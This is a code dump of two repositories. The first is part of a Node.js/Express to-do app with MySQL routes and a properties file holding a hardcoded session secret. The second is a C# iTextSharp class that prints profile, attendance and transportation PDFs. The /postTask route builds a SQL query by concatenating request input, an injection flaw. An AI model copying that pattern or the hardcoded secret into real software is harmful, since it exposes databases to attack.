{ if (authorizedStatus !== 'authorized') { if(req.originalUrl.startsWith('/api')) { res.status(401).end(); } else { res.render('login'); } } else { next(); } } }); app.use('/api', require('permission')(), apiRoutes); app.use('/', routes); //App Start app.listen(properties.get('configuration.port'), function(err){ if(err) throw err; console.log("Listening on port: " + properties.get('configuration.port')); }); <file_sep>/routes/apiRoutes.js const express = require('express'); const router = express.Router() const mysql = require('mysql'); const connection = require('../db/connection'); connection.connect(function(err){ if (err){ throw err; connection.end(); } }) router.get('/getUser', function(req, res){ connection.query("SELECT * FROM users", function (err, result, fields) { if (err){ throw err; connection.end(); } res.json(result); }); }); router.get('/getTask', function(req, res){ var assignedUserId = req.query.assignedUserId; var sqlQuery = "SELECT * FROM tasks WHERE assignedUserId = " + mysql.escape(req.query.assignedUserId); connection.query(sqlQuery, function(err, result, fields){ if(err){ throw err; connection.end(); } res.json(result); }) }); router.post('/postTask', function(req,res){ var sqlQuery = "INSERT INTO tasks(id, name, status, assignedUserId) VALUES ?"; var values = [[req.body.id, req.body.name, req.body.status, req.body.assignedUserId]]; connection.query(sqlQuery, [values], function(err, result){ if(err){ throw err; connection.end(); } sqlQuery = "SELECT * FROM tasks WHERE assignedUserId = " + req.body.assignedUserId; connection.query(sqlQuery, function(err, result2){ if(err){ throw err; connection.end(); } res.json(result2); }) }) }); router.post('/editTask', function(req, res){ var sqlQuery = "UPDATE tasks SET status = ? WHERE id = ?"; connection.query(sqlQuery, [req.body.status, req.body.id], function(err, result){ if(err){ throw err; connection.end(); } sqlQuery = "SELECT * FROM tasks WHERE assignedUserId = ?"; connection.query(sqlQuery, [req.body.assignedUserId], function(err, result2){ if(err){ throw err; connection.end(); } res.json(result2); }) }) }); router.post('/removeTask', function(req, res){ var sqlQuery = "DELETE FROM tasks WHERE id = ?"; connection.query(sqlQuery, [req.body.id], function(err, result){ if(err){ throw err; connection.end(); } sqlQuery = "SELECT * FROM tasks WHERE assignedUserId = ?"; connection.query(sqlQuery, [req.body.assignedUserId], function(err, result2){ if(err) { throw err; connection.end(); } res.json(result2); }) }) }) module.exports = router; <file_sep>/db/connection.js const mysql= require('mysql'); const PropertiesReader = require('properties-reader'); var properties = PropertiesReader('./local.properties'); //DB var connection = mysql.createConnection({ host: properties.get('database.host'), user: properties.get('database.user'), password: properties.get('database.password'), database: properties.get('database.database') }); module.exports = connection; <file_sep>/local.properties [configuration] port = 3000 [session] secret = TriIsNotBad [database] host = localhost port = 3306 user = root password = <PASSWORD> database = todo
6307fe393f9438253a73b85f038cec0b719a3fae
[ "JavaScript", "INI" ]
5
JavaScript
Tri-Vi/todo
63a95c38b4cf5e57acec06c23b317c08f903cf97
72de42deb8f89f059977acf58a511e6c6a568049
refs/heads/master
<file_sep>using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.IO; using System.Drawing; using System.Diagnostics; using System.Windows.Forms; using iTextSharp.text.pdf; using iTextSharp.text; using System.Data; namespace TDay { public static class PdfPrinter { public static void PrintClientInfo(int ProfileId) { switch(ProfileProvider.GetCategory(ProfileId)) { #region Client case 1: Client client = new Client(ProfileId); try { if (File.Exists(System.Windows.Forms.Application.UserAppDataPath + @"\Report_" + ProfileId.ToString() + ".pdf")) { File.Delete(System.Windows.Forms.Application.UserAppDataPath + @"\Report_" + ProfileId.ToString() + ".pdf"); } } catch (IOException) { string Proc = GetFileProcessName("Report_" + ProfileId.ToString() + ".pdf"); if (File.Exists(System.Windows.Forms.Application.UserAppDataPath + @"\Report_" + ProfileId.ToString() + ".pdf")) { File.Delete(System.Windows.Forms.Application.UserAppDataPath + @"\Report_" + ProfileId.ToString() + ".pdf"); } } FileStream FS = new FileStream(System.Windows.Forms.Application.UserAppDataPath+@"\Report_"+ProfileId.ToString()+".pdf",FileMode.CreateNew); var Doc = new iTextSharp.text.Document(PageSize.A4,20,20,20,20); PdfWriter.GetInstance(Doc, FS); Doc.Open(); PdfPTable table = new PdfPTable(5); table.WidthPercentage = 100; AddHeader(table, "Profile Card", 20, new BaseColor(Color.DimGray),new BaseColor(Color.WhiteSmoke)); AddPriviewCell(table, "Category:"); AddValueCell(table, "Client"); AddPriviewCell(table, "Name:"); AddValueCell(table, client.Name); AddPriviewCell(table, "Date of Birth:"); AddValueCell(table, client.DateOfBirdh.ToShortDateString()); AddPriviewCell(table, "Member:"); AddValueCell(table, client.Member,true); AddPriviewCell(table, "PARIS Number:"); AddValueCell(table, client.ParisNumber); AddHeader(table, "Address", 16, new BaseColor(Color.DimGray), new BaseColor(Color.WhiteSmoke)); AddPriviewCell(table, "Address:"); AddValueCell(table, client.Adress.Addres); AddPriviewCell(table, "City:"); AddValueCell(table, client.Adress.City); AddPriviewCell(table, "Province:"); AddValueCell(table, client.Adress.Province); AddPriviewCell(table, "Country:"); AddValueCell(table, client.Adress.Country); AddPriviewCell(table, "Postal Code:"); AddValueCell(table, client.Adress.PostalCode); AddPriviewCell(table, "Phone:"); AddValueCell(table, client.Adress.Phone); AddPriviewCell(table, "Email:"); AddValueCell(table, client.Adress.Email); AddHeader(table, "Emergency", 16, new BaseColor(Color.DimGray), new BaseColor(Color.WhiteSmoke)); AddPriviewCell(table, "Emergency CN:"); AddValueCell(table, client.EmergencyContact.Name); AddPriviewCell(table, "Emergency CP:"); AddValueCell(table, client.EmergencyContact.Phone); AddPriviewCell(table, "Emergency Relation:"); AddValueCell(table, client.EmergencyContact.Relation); if (client.DopEmergencyContact != null) { AddPriviewCell(table, "Emergency CN:"); AddValueCell(table, client.DopEmergencyContact.Name); AddPriviewCell(table, "Emergency CP:"); AddValueCell(table, client.DopEmergencyContact.Phone); AddPriviewCell(table, "Emergency Relation:"); AddValueCell(table, client.DopEmergencyContact.Relation); } AddHeader(table, "Medical", 16, new BaseColor(Color.DimGray), new BaseColor(Color.WhiteSmoke)); AddPriviewCell(table, "Doctor Name:"); AddValueCell(table, client.DoctorName); AddPriviewCell(table, "Doctor Phone:"); AddValueCell(table, client.DoctorPhone); AddPriviewCell(table, "Pharmacist Name:"); AddValueCell(table, client.PharmacistName); AddPriviewCell(table, "Pharmacist Phone:"); AddValueCell(table, client.PharmacistPhone); AddAttendanceCell(table, client.Attendance); AddTransportationCell(table, client.Transportation); Doc.Add(table); Doc.Close(); Process.Start(System.Windows.Forms.Application.UserAppDataPath + @"\Report_" + ProfileId.ToString() + ".pdf"); break; #endregion #region Employee case 2: Employee employee = new Employee(ProfileId); try { if (File.Exists(System.Windows.Forms.Application.UserAppDataPath + @"\Report_" + ProfileId.ToString() + ".pdf")) { File.Delete(System.Windows.Forms.Application.UserAppDataPath + @"\Report_" + ProfileId.ToString() + ".pdf"); } } catch (IOException) { string Proc = GetFileProcessName("Report_" + ProfileId.ToString() + ".pdf"); if (File.Exists(System.Windows.Forms.Application.UserAppDataPath + @"\Report_" + ProfileId.ToString() + ".pdf")) { File.Delete(System.Windows.Forms.Application.UserAppDataPath + @"\Report_" + ProfileId.ToString() + ".pdf"); } } FS = new FileStream(System.Windows.Forms.Application.UserAppDataPath+@"\Report_"+ProfileId.ToString()+".pdf",FileMode.CreateNew); Doc = new iTextSharp.text.Document(PageSize.A4); PdfWriter.GetInstance(Doc, FS); Doc.Open(); table = new PdfPTable(5); table.WidthPercentage = 100; AddHeader(table, "Profile Card", 20, new BaseColor(Color.DimGray),new BaseColor(Color.WhiteSmoke)); AddPriviewCell(table, "Category:"); AddValueCell(table, "Employee"); AddPriviewCell(table, "Name:"); AddValueCell(table, employee.Name); AddPriviewCell(table, "Date of Birth:"); AddValueCell(table, employee.DateOfBirdh.ToShortDateString()); AddPriviewCell(table, "Hire Date:"); AddValueCell(table, employee.HireDate.ToShortDateString()); AddPriviewCell(table, "Position:"); AddValueCell(table, employee.Position); AddPriviewCell(table, "Position Type:"); AddValueCell(table, employee.PositionType); AddPriviewCell(table, "SIN:"); AddValueCell(table, employee.SIN); AddHeader(table, "Address", 16, new BaseColor(Color.DimGray), new BaseColor(Color.WhiteSmoke)); AddPriviewCell(table, "Address:"); AddValueCell(table, employee.Adress.Addres); AddPriviewCell(table, "City:"); AddValueCell(table, employee.Adress.City); AddPriviewCell(table, "Province:"); AddValueCell(table, employee.Adress.Province); AddPriviewCell(table, "Country:"); AddValueCell(table, employee.Adress.Country); AddPriviewCell(table, "Postal Code:"); AddValueCell(table, employee.Adress.PostalCode); AddPriviewCell(table, "Phone:"); AddValueCell(table, employee.Adress.Phone); AddPriviewCell(table, "Email:"); AddValueCell(table, employee.Adress.Email); AddPriviewCell(table, "Cell:"); AddValueCell(table, employee.Adress.Cell); AddHeader(table, "Emergency", 16, new BaseColor(Color.DimGray), new BaseColor(Color.WhiteSmoke)); AddPriviewCell(table, "Emergency CN:"); AddValueCell(table, employee.EmergencyContact.Name); AddPriviewCell(table, "Emergency CP:"); AddValueCell(table, employee.EmergencyContact.Phone); AddPriviewCell(table, "Emergency Relation:"); AddValueCell(table, employee.EmergencyContact.Relation); AddAttendanceCell(table, employee.Attendance); Doc.Add(table); Doc.Close(); Process.Start(System.Windows.Forms.Application.UserAppDataPath + @"\Report_" + ProfileId.ToString() + ".pdf"); break; #endregion #region Volunteer case 3: Profile vol = new Profile(ProfileId); try { if (File.Exists(System.Windows.Forms.Application.UserAppDataPath + @"\Report_" + ProfileId.ToString() + ".pdf")) { File.Delete(System.Windows.Forms.Application.UserAppDataPath + @"\Report_" + ProfileId.ToString() + ".pdf"); } } catch (IOException) { string Proc = GetFileProcessName("Report_" + ProfileId.ToString() + ".pdf"); if (File.Exists(System.Windows.Forms.Application.UserAppDataPath + @"\Report_" + ProfileId.ToString() + ".pdf")) { File.Delete(System.Windows.Forms.Application.UserAppDataPath + @"\Report_" + ProfileId.ToString() + ".pdf"); } } FS = new FileStream(System.Windows.Forms.Application.UserAppDataPath+@"\Report_"+ProfileId.ToString()+".pdf",FileMode.CreateNew); Doc = new iTextSharp.text.Document(PageSize.A4); PdfWriter.GetInstance(Doc, FS); Doc.Open(); table = new PdfPTable(5); table.WidthPercentage = 100; AddHeader(table, "Profile Card", 20, new BaseColor(Color.DimGray),new BaseColor(Color.WhiteSmoke)); AddPriviewCell(table, "Category:"); AddValueCell(table, "Volunteer"); AddPriviewCell(table, "Name:"); AddValueCell(table, vol.Name); AddPriviewCell(table, "Date of Birth:"); AddValueCell(table, vol.DateOfBirdh.ToShortDateString()); AddHeader(table, "Address", 16, new BaseColor(Color.DimGray), new BaseColor(Color.WhiteSmoke)); AddPriviewCell(table, "Address:"); AddValueCell(table, vol.Adress.Addres); AddPriviewCell(table, "City:"); AddValueCell(table, vol.Adress.City); AddPriviewCell(table, "Province:"); AddValueCell(table, vol.Adress.Province); AddPriviewCell(table, "Country:"); AddValueCell(table, vol.Adress.Country); AddPriviewCell(table, "Postal Code:"); AddValueCell(table, vol.Adress.PostalCode); AddPriviewCell(table, "Phone:"); AddValueCell(table, vol.Adress.Phone); AddPriviewCell(table, "Email:"); AddValueCell(table, vol.Adress.Email); AddPriviewCell(table, "Cell:"); AddValueCell(table, vol.Adress.Cell); AddHeader(table, "Emergency", 16, new BaseColor(Color.DimGray), new BaseColor(Color.WhiteSmoke)); AddPriviewCell(table, "Emergency CN:"); AddValueCell(table, vol.EmergencyContact.Name); AddPriviewCell(table, "Emergency CP:"); AddValueCell(table, vol.EmergencyContact.Phone); AddPriviewCell(table, "Emergency Relation:"); AddValueCell(table, vol.EmergencyContact.Relation); AddAttendanceCell(table, vol.Attendance); Doc.Add(table); Doc.Close(); Process.Start(System.Windows.Forms.Application.UserAppDataPath + @"\Report_" + ProfileId.ToString() + ".pdf"); break; #endregion #region Board Member case 4: Profile board = new Profile(ProfileId); try { if (File.Exists(System.Windows.Forms.Application.UserAppDataPath + @"\Report_" + ProfileId.ToString() + ".pdf")) { File.Delete(System.Windows.Forms.Application.UserAppDataPath + @"\Report_" + ProfileId.ToString() + ".pdf"); } } catch (IOException) { string Proc = GetFileProcessName("Report_" + ProfileId.ToString() + ".pdf"); if (File.Exists(System.Windows.Forms.Application.UserAppDataPath + @"\Report_" + ProfileId.ToString() + ".pdf")) { File.Delete(System.Windows.Forms.Application.UserAppDataPath + @"\Report_" + ProfileId.ToString() + ".pdf"); } } FS = new FileStream(System.Windows.Forms.Application.UserAppDataPath+@"\Report_"+ProfileId.ToString()+".pdf",FileMode.CreateNew); Doc = new iTextSharp.text.Document(PageSize.A4); PdfWriter.GetInstance(Doc, FS); Doc.Open(); table = new PdfPTable(5); table.WidthPercentage = 100; AddHeader(table, "Profile Card", 20, new BaseColor(Color.DimGray),new BaseColor(Color.WhiteSmoke)); AddPriviewCell(table, "Category:"); AddValueCell(table, "Board Member"); AddPriviewCell(table, "Name:"); AddValueCell(table, board.Name); AddPriviewCell(table, "Date of Birth:"); AddValueCell(table, board.DateOfBirdh.ToShortDateString()); AddPriviewCell(table, "Occupation:"); AddValueCell(table, board.Occupation); AddHeader(table, "Address", 16, new BaseColor(Color.DimGray), new BaseColor(Color.WhiteSmoke)); AddPriviewCell(table, "Address:"); AddValueCell(table, board.Adress.Addres); AddPriviewCell(table, "City:"); AddValueCell(table, board.Adress.City); AddPriviewCell(table, "Province:"); AddValueCell(table, board.Adress.Province); AddPriviewCell(table, "Country:"); AddValueCell(table, board.Adress.Country); AddPriviewCell(table, "Postal Code:"); AddValueCell(table, board.Adress.PostalCode); AddPriviewCell(table, "Phone:"); AddValueCell(table, board.Adress.Phone); AddPriviewCell(table, "Email:"); AddValueCell(table, board.Adress.Email); AddPriviewCell(table, "Cell:"); AddValueCell(table, board.Adress.Cell); Doc.Add(table); Doc.Close(); Process.Start(System.Windows.Forms.Application.UserAppDataPath + @"\Report_" + ProfileId.ToString() + ".pdf"); break; #endregion #region Other case 5: board = new Profile(ProfileId); try { if (File.Exists(System.Windows.Forms.Application.UserAppDataPath + @"\Report_" + ProfileId.ToString() + ".pdf")) { File.Delete(System.Windows.Forms.Application.UserAppDataPath + @"\Report_" + ProfileId.ToString() + ".pdf"); } } catch (IOException) { string Proc = GetFileProcessName("Report_" + ProfileId.ToString() + ".pdf"); if (File.Exists(System.Windows.Forms.Application.UserAppDataPath + @"\Report_" + ProfileId.ToString() + ".pdf")) { File.Delete(System.Windows.Forms.Application.UserAppDataPath + @"\Report_" + ProfileId.ToString() + ".pdf"); } } FS = new FileStream(System.Windows.Forms.Application.UserAppDataPath+@"\Report_"+ProfileId.ToString()+".pdf",FileMode.CreateNew); Doc = new iTextSharp.text.Document(PageSize.A4); PdfWriter.GetInstance(Doc, FS); Doc.Open(); table = new PdfPTable(5); table.WidthPercentage = 100; AddHeader(table, "Profile Card", 20, new BaseColor(Color.DimGray),new BaseColor(Color.WhiteSmoke)); AddPriviewCell(table, "Category:"); AddValueCell(table, "Other"); AddPriviewCell(table, "Name:"); AddValueCell(table, board.Name); AddPriviewCell(table, "Date of Birth:"); AddValueCell(table, board.DateOfBirdh.ToShortDateString()); AddHeader(table, "Address", 16, new BaseColor(Color.DimGray), new BaseColor(Color.WhiteSmoke)); AddPriviewCell(table, "Address:"); AddValueCell(table, board.Adress.Addres); AddPriviewCell(table, "City:"); AddValueCell(table, board.Adress.City); AddPriviewCell(table, "Province:"); AddValueCell(table, board.Adress.Province); AddPriviewCell(table, "Country:"); AddValueCell(table, board.Adress.Country); AddPriviewCell(table, "Postal Code:"); AddValueCell(table, board.Adress.PostalCode); AddPriviewCell(table, "Phone:"); AddValueCell(table, board.Adress.Phone); AddPriviewCell(table, "Email:"); AddValueCell(table, board.Adress.Email); AddPriviewCell(table, "Cell:"); AddValueCell(table, board.Adress.Cell); Doc.Add(table); Doc.Close(); Process.Start(System.Windows.Forms.Application.UserAppDataPath + @"\Report_" + ProfileId.ToString() + ".pdf"); break; #endregion } } public static void PrintAttendance(Day _CurrentDay) { TDayDataSet tDayDataSet = new TDayDataSet(); TDayDataSetTableAdapters.DaysTableAdapter daysTableAdapter = new TDayDataSetTableAdapters.DaysTableAdapter(); TDayDataSetTableAdapters.ProfilesTableAdapter profilesTableAdapter = new TDayDataSetTableAdapters.ProfilesTableAdapter(); try { if (File.Exists(System.Windows.Forms.Application.UserAppDataPath + @"\Attendance_" + _CurrentDay.Date.Day.ToString() + ".pdf")) { File.Delete(System.Windows.Forms.Application.UserAppDataPath + @"\Attendance_" + _CurrentDay.Date.Day.ToString() + ".pdf"); } } catch (IOException) { string Proc = GetFileProcessName("Attendance_" + _CurrentDay.Date.Day.ToString() + ".pdf"); if (File.Exists(System.Windows.Forms.Application.UserAppDataPath + @"\Attendance_" + _CurrentDay.Date.Day.ToString() + ".pdf")) { File.Delete(System.Windows.Forms.Application.UserAppDataPath + @"\Attendance_" + _CurrentDay.Date.Day.ToString() + ".pdf"); } } FileStream FS = new FileStream(System.Windows.Forms.Application.UserAppDataPath + @"\Attendance_" + _CurrentDay.Date.Day.ToString() + ".pdf", FileMode.CreateNew); var Doc = new iTextSharp.text.Document(PageSize.A4.Rotate(), 20, 20, 20, 20); PdfWriter.GetInstance(Doc, FS); Doc.Open(); PdfPTable table = new PdfPTable(14); table.HorizontalAlignment = Element.ALIGN_LEFT; table.WidthPercentage = 100; AddHeader(table, "Attendance", 20, new BaseColor(Color.DimGray), new BaseColor(Color.WhiteSmoke)); AddHeader(table, _CurrentDay.Date.DayOfWeek + " " + _CurrentDay.Date.ToShortDateString(), 16, new BaseColor(Color.DimGray), new BaseColor(Color.White)); daysTableAdapter.Fill(tDayDataSet.Days, _CurrentDay.Date); int Counter = 0; int TotalLC = 0; double TotalLCP = 0; double TotalTOP = 0; double TotalMisoP = 0; double TotalVan = 0; double TotalP = 0; double TotalRTP = 0; double TotalBFT = 0; double TotalT = 0; AddHeader(table, "Billed Clients", 12, new BaseColor(Color.DimGray), new BaseColor(Color.WhiteSmoke)); AddPriviewCell(table, "Numb", 1); AddPriviewCell(table, "Name", 3); AddPriviewCell(table, "A", 1); AddPriviewCell(table, "LC", 1); AddPriviewCell(table, "L$", 1); AddPriviewCell(table, "TO$", 1); AddPriviewCell(table, "Miso$", 1); AddPriviewCell(table, "P$", 1); AddPriviewCell(table, "Van", 1); AddPriviewCell(table, "RT", 1); AddPriviewCell(table, "BFT", 1); AddPriviewCell(table, "Total", 1); foreach (DataRow Row in tDayDataSet.Days) { if (ProfileProvider.GetCategory((int)Row["ProfileId"]) == 1) { AddPriviewCell(table, Counter.ToString(), 1); AddPriviewCell(table, ProfileProvider.GetName((int)Row["ProfileId"]), 3); AddValueCell(table, (bool)Row["Attendance"], true, 1); AddValueCell(table, (bool)Row["Lunch"], true, 1); if ((bool)Row["Lunch"]) { TotalLC++; } AddPriviewCell(table, Row["LunchPrice"].ToString(), 1); TotalLCP += Convert.ToDouble(Row["LunchPrice"]); AddPriviewCell(table, Row["TakeOutPrice"].ToString(), 1); TotalTOP += Convert.ToDouble(Row["TakeOutPrice"]); AddPriviewCell(table, Row["MiscellaneousPrice"].ToString(), 1); TotalMisoP += Convert.ToDouble(Row["MiscellaneousPrice"]); if (ProfileProvider.GetCategory((int)Row["ProfileId"]) == 1) { AddPriviewCell(table, Row["ProgramPrice"].ToString(), 1); TotalP += Convert.ToDouble(Row["ProgramPrice"]); AddPriviewCell(table, Row["VanPrice"].ToString(), 1); TotalVan += Convert.ToDouble(Row["VanPrice"]); AddPriviewCell(table, Row["RoundTripPrice"].ToString(), 1); TotalRTP += Convert.ToDouble(Row["RoundTripPrice"]); AddPriviewCell(table, Row["BookOfTickets"].ToString(), 1); TotalBFT += Convert.ToDouble(Row["BookOfTickets"]); } else { AddPriviewCell(table, "", 1, new BaseColor(Color.WhiteSmoke)); TotalP += Convert.ToDouble(Row["ProgramPrice"]); AddPriviewCell(table, "", 1, new BaseColor(Color.WhiteSmoke)); TotalVan += Convert.ToDouble(Row["VanPrice"]); AddPriviewCell(table, "", 1, new BaseColor(Color.WhiteSmoke)); TotalRTP += Convert.ToDouble(Row["RoundTripPrice"]); AddPriviewCell(table, "", 1, new BaseColor(Color.WhiteSmoke)); TotalBFT += Convert.ToDouble(Row["BookOfTickets"]); } AddPriviewCell(table, Row["Total"].ToString(), 1); Counter++; } } AddPriviewCell(table, "", 1); AddPriviewCell(table, "Total:", 3); AddPriviewCell(table, Counter.ToString(), 1); AddPriviewCell(table, TotalLC.ToString(), 1); AddPriviewCell(table, TotalLCP.ToString("0.00"), 1); AddPriviewCell(table, TotalTOP.ToString("0.00"), 1); AddPriviewCell(table, TotalMisoP.ToString("0.00"), 1); AddPriviewCell(table, TotalP.ToString("0.00"), 1); AddPriviewCell(table, TotalVan.ToString("0.00"), 1); AddPriviewCell(table, TotalRTP.ToString("0.00"), 1); AddPriviewCell(table, TotalBFT.ToString("0.00"), 1); AddPriviewCell(table, (TotalLCP + TotalMisoP + TotalTOP + TotalVan + TotalP + TotalRTP + TotalBFT).ToString("0.00"), 1); AddHeader(table, "Staff/Volunteers", 12, new BaseColor(Color.DimGray), new BaseColor(Color.WhiteSmoke)); AddPriviewCell(table, "Numb", 1); AddPriviewCell(table, "Name", 3); AddPriviewCell(table, "A", 1); AddPriviewCell(table, "LC", 1); AddPriviewCell(table, "L$", 1); AddPriviewCell(table, "TO$", 1); AddPriviewCell(table, "Miso$", 1); AddPriviewCell(table, "P$", 1); AddPriviewCell(table, "Van", 1); AddPriviewCell(table, "RT", 1); AddPriviewCell(table, "BFT", 1); AddPriviewCell(table, "Total", 1); Counter = 0; TotalLC = 0; TotalLCP = 0; TotalTOP = 0; TotalMisoP = 0; TotalVan = 0; TotalP = 0; TotalRTP = 0; TotalBFT = 0; TotalT = 0; foreach (DataRow Row in tDayDataSet.Days) { if (ProfileProvider.GetCategory((int)Row["ProfileId"]) != 1) { AddPriviewCell(table, Counter.ToString(), 1); AddPriviewCell(table, ProfileProvider.GetName((int)Row["ProfileId"]), 3); AddValueCell(table, (bool)Row["Attendance"], true, 1); AddValueCell(table, (bool)Row["Lunch"], true, 1); if ((bool)Row["Lunch"]) { TotalLC++; } AddPriviewCell(table, Row["LunchPrice"].ToString(), 1); TotalLCP += Convert.ToDouble(Row["LunchPrice"]); AddPriviewCell(table, Row["TakeOutPrice"].ToString(), 1); TotalTOP += Convert.ToDouble(Row["TakeOutPrice"]); AddPriviewCell(table, Row["MiscellaneousPrice"].ToString(), 1); TotalMisoP += Convert.ToDouble(Row["MiscellaneousPrice"]); if (ProfileProvider.GetCategory((int)Row["ProfileId"]) == 1) { AddPriviewCell(table, Row["ProgramPrice"].ToString(), 1); TotalP += Convert.ToDouble(Row["ProgramPrice"]); AddPriviewCell(table, Row["VanPrice"].ToString(), 1); TotalVan += Convert.ToDouble(Row["VanPrice"]); AddPriviewCell(table, Row["RoundTripPrice"].ToString(), 1); TotalRTP += Convert.ToDouble(Row["RoundTripPrice"]); AddPriviewCell(table, Row["BookOfTickets"].ToString(), 1); TotalBFT += Convert.ToDouble(Row["BookOfTickets"]); } else { AddPriviewCell(table, "", 1, new BaseColor(Color.WhiteSmoke)); TotalP += Convert.ToDouble(Row["ProgramPrice"]); AddPriviewCell(table, "", 1, new BaseColor(Color.WhiteSmoke)); TotalVan += Convert.ToDouble(Row["VanPrice"]); AddPriviewCell(table, "", 1, new BaseColor(Color.WhiteSmoke)); TotalRTP += Convert.ToDouble(Row["RoundTripPrice"]); AddPriviewCell(table, "", 1, new BaseColor(Color.WhiteSmoke)); TotalBFT += Convert.ToDouble(Row["BookOfTickets"]); } AddPriviewCell(table, Row["Total"].ToString(), 1); Counter++; } } AddPriviewCell(table, "", 1); AddPriviewCell(table, "Total:", 3); AddPriviewCell(table, Counter.ToString(), 1); AddPriviewCell(table, TotalLC.ToString(), 1); AddPriviewCell(table, TotalLCP.ToString("0.00"), 1); AddPriviewCell(table, TotalTOP.ToString("0.00"), 1); AddPriviewCell(table, TotalMisoP.ToString("0.00"), 1); AddPriviewCell(table, "", 1, new BaseColor(Color.WhiteSmoke)); AddPriviewCell(table, "", 1, new BaseColor(Color.WhiteSmoke)); AddPriviewCell(table, "", 1, new BaseColor(Color.WhiteSmoke)); AddPriviewCell(table, "", 1, new BaseColor(Color.WhiteSmoke)); AddPriviewCell(table, (TotalLCP + TotalMisoP + TotalTOP + TotalVan + TotalP + TotalRTP + TotalBFT).ToString("0.00"), 1); //******************** TotalLC = 0; TotalLCP = 0; TotalTOP = 0; TotalMisoP = 0; TotalVan = 0; TotalP = 0; TotalRTP = 0; TotalBFT = 0; TotalT = 0; foreach (DataRow Row in tDayDataSet.Days) { if ((bool)Row["Lunch"]) { TotalLC++; } TotalLCP += Convert.ToDouble(Row["LunchPrice"]); TotalTOP += Convert.ToDouble(Row["TakeOutPrice"]); TotalMisoP += Convert.ToDouble(Row["MiscellaneousPrice"]); if (ProfileProvider.GetCategory((int)Row["ProfileId"]) == 1) { TotalP += Convert.ToDouble(Row["ProgramPrice"]); TotalVan += Convert.ToDouble(Row["VanPrice"]); TotalRTP += Convert.ToDouble(Row["RoundTripPrice"]); TotalBFT += Convert.ToDouble(Row["BookOfTickets"]); } else { TotalP += Convert.ToDouble(Row["ProgramPrice"]); TotalVan += Convert.ToDouble(Row["VanPrice"]); TotalRTP += Convert.ToDouble(Row["RoundTripPrice"]); TotalBFT += Convert.ToDouble(Row["BookOfTickets"]); } } //****************** TotalT += TotalLCP + TotalMisoP + TotalTOP + TotalVan + TotalP + TotalRTP + TotalBFT; AddPriviewCell(table, "", 1); AddPriviewCell(table, "GrandTotal:", 3); AddPriviewCell(table, tDayDataSet.Days.Rows.Count.ToString(), 1); AddPriviewCell(table, TotalLC.ToString(), 1); AddPriviewCell(table, TotalLCP.ToString("0.00"), 1); AddPriviewCell(table, TotalTOP.ToString("0.00"), 1); AddPriviewCell(table, TotalMisoP.ToString("0.00"), 1); AddPriviewCell(table, TotalP.ToString("0.00"), 1); AddPriviewCell(table, TotalVan.ToString("0.00"), 1); AddPriviewCell(table, TotalRTP.ToString("0.00"), 1); AddPriviewCell(table, TotalBFT.ToString("0.00"), 1); AddPriviewCell(table, TotalT.ToString("0.00"), 1); Doc.Add(table); Doc.Close(); Process.Start(System.Windows.Forms.Application.UserAppDataPath + @"\Attendance_" + _CurrentDay.Date.Day.ToString() + ".pdf"); } public static void PrintTransportation(string Day) { TDayDataSet tDayDataSet = new TDayDataSet(); TDayDataSetTableAdapters.TransportationTableAdapter transportationTableAdapter = new TDayDataSetTableAdapters.TransportationTableAdapter(); TDayDataSetTableAdapters.ProfilesTableAdapter profilesTableAdapter = new TDayDataSetTableAdapters.ProfilesTableAdapter(); try { if (File.Exists(System.Windows.Forms.Application.UserAppDataPath + @"\Transportation.pdf")) { File.Delete(System.Windows.Forms.Application.UserAppDataPath + @"\Transportation.pdf"); } } catch (IOException) { string Proc = GetFileProcessName("Transportation.pdf"); if (File.Exists(System.Windows.Forms.Application.UserAppDataPath + @"\Transportation.pdf")) { File.Delete(System.Windows.Forms.Application.UserAppDataPath + @"\Transportation.pdf"); } } FileStream FS = new FileStream(System.Windows.Forms.Application.UserAppDataPath + @"\Transportation.pdf", FileMode.CreateNew); var Doc = new iTextSharp.text.Document(PageSize.A4.Rotate(), 20, 20, 20, 20); PdfWriter.GetInstance(Doc, FS); Doc.Open(); PdfPTable table; if (Day == "Master") { table = new PdfPTable(20); table.HorizontalAlignment = Element.ALIGN_LEFT; table.WidthPercentage = 100; AddHeader(table, "Transportation", 20, new BaseColor(Color.DimGray), new BaseColor(Color.WhiteSmoke)); AddHeader(table, Day, 16, new BaseColor(Color.DimGray), new BaseColor(Color.White)); transportationTableAdapter.Fill(tDayDataSet.Transportation); AddPriviewCell(table, "Numb", 1); AddPriviewCell(table, "Name", 4); AddPriviewCell(table, "Category", 2); AddPriviewCell(table, "Address", 4); AddPriviewCell(table, "Phone", 2); AddPriviewCell(table, "HD#", 2); AddPriviewCell(table, "Mon", 1); AddPriviewCell(table, "Tue", 1); AddPriviewCell(table, "Wed", 1); AddPriviewCell(table, "Thu", 1); AddPriviewCell(table, "Fri", 1); //AddPriviewCell(table, "Comment", 1); } else { table = new PdfPTable(15); table.HorizontalAlignment = Element.ALIGN_LEFT; table.WidthPercentage = 100; AddHeader(table, "Transportation", 20, new BaseColor(Color.DimGray), new BaseColor(Color.WhiteSmoke)); AddHeader(table, Day, 16, new BaseColor(Color.DimGray), new BaseColor(Color.White)); transportationTableAdapter.Fill(tDayDataSet.Transportation); AddPriviewCell(table, "Numb", 1); AddPriviewCell(table, "Name", 4); AddPriviewCell(table, "Category", 2); AddPriviewCell(table, "Address", 4); AddPriviewCell(table, "Phone", 2); AddPriviewCell(table, "HD#", 2); } int Counter = 1; foreach (DataRow Row in tDayDataSet.Transportation) { switch (Day) { case "Master": AddPriviewCell(table, Counter.ToString(), 1); AddPriviewCell(table, ProfileProvider.GetName((int)Row["ProfileId"]), 4); AddPriviewCell(table, Row["Category"].ToString(), 2); AddPriviewCell(table, Row["Adress"].ToString(), 4); AddPriviewCell(table, Row["Phone"].ToString(), 2); AddPriviewCell(table, Row["HandyDARTNumber"].ToString(), 2); AddValueCell(table, (bool)Row["Monday"], true, 1); AddValueCell(table, (bool)Row["Tuesday"], true, 1); AddValueCell(table, (bool)Row["Wednesday"], true, 1); AddValueCell(table, (bool)Row["Thursday"], true, 1); AddValueCell(table, (bool)Row["Friday"], true, 1); //AddPriviewCell(table, Row["Comments"].ToString(), 1); Counter++; break; case "Monday": if ((bool)Row["Monday"]) { AddPriviewCell(table, Counter.ToString(), 1); AddPriviewCell(table, ProfileProvider.GetName((int)Row["ProfileId"]), 4); AddPriviewCell(table, Row["Category"].ToString(), 2); AddPriviewCell(table, Row["Adress"].ToString(), 4); AddPriviewCell(table, Row["Phone"].ToString(), 2); AddPriviewCell(table, Row["HandyDARTNumber"].ToString(), 2); Counter++; } break; case "Tuesday": if 